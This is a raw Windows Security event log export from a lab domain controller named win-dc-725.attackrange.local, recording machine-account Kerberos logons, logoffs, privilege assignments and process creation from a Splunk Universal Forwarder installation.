This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250037
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFA03E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64378

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250036
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFA03E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250076
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x123c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1228
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	splunkd install --startup=auto

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250075
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1228
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1204
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  cmd splunkd install --startup=auto 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250074
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x120c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1204
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250073
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1204
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2ec
	Creator Process Name:	C:\Windows\System32\msiexec.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" cmd splunkd install --startup=auto >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250072
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11e0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11cc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250071
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11c0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250070
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250069
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1198
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250068
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1198
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x118c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250067
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x118c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250066
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFAC7C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250065
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFAC7C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64385

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250064
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFAC7C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250063
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFAC1B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250062
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFAC1B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64384

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250061
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFAC1B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250060
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFABB5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250059
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFABB5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64383

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250058
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFABB5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250057
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFAB54

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250056
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFAB54
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64382

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250055
Keywords=Audit Success
